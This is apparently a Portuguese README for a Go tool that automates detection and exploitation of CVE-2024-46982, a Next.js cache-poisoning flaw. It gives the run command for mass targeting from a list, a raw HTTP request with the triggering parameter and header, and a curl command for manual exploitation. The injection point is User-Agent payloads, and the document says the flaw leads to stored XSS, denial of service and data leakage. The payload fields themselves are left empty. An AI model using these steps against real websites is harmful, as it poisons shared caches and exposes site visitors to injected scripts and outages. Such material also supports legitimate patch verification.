Exploração de Envenenamento de Cache no Next.js

Esta ferramenta automatiza a detecção e a exploração da CVE-2024-46982, uma vulnerabilidade de envenenamento de cache no Next.js, em que respostas de Renderização no Lado do Servidor (SSR) podem ser incorretamente armazenadas em cache como Geração de Site Estático (SSG). Essa configuração incorreta pode levar a XSS Armazenado, DoS e vazamento de dados, permitindo que atacantes injetem conteúdo malicioso em respostas em cache.

Instalação e Uso

Prepare sua lista de alvos

Crie um arquivo chamado targets.txt contendo uma URL de destino por linha:

https://vulnerable-site.com
https://another-target.com

Defina payloads personalizados

Crie um arquivo chamado payloads.txt contendo payloads que serão injetados por meio do cabeçalho User-Agent:

Execute o exploit

Compile e execute o exploit com:

go run exploit.go -f targets.txt -p payloads.txt -d 5

Como Funciona

• Lê a lista de URLs de destino de targets.txt
• Itera por cada destino e acrescenta o endpoint vulnerável:

GET /poc?__nextDataReq=1 HTTP/1.1
Host: vulnerable-site.com
User-Agent: <PAYLOAD>
x-now-route-matches: 1

• Envia várias solicitações, cada uma usando um payload diferente de payloads.txt
• Analisa a resposta HTTP em busca de sinais de injeção bem-sucedida:
  • Se o payload aparecer no corpo da resposta → O destino está vulnerável
  • Se o código de resposta for 200 OK e o comportamento de cache estiver anormal → Potencialmente vulnerável
  • Se o código de resposta for 403 Forbidden ou 404 Not Found → Provavelmente corrigido
• Exibe os resultados após testar todos os destinos

Para verificar manualmente:

Envie uma solicitação maliciosa usando curl:

curl -X GET "https://vulnerable-site.com/poc?__nextDataReq=1" \
     -H "User-Agent: " \
     -H "x-now-route-matches: 1"

Visite o endpoint em um navegador

Requisitos

• Go 1.21 ou mais recente.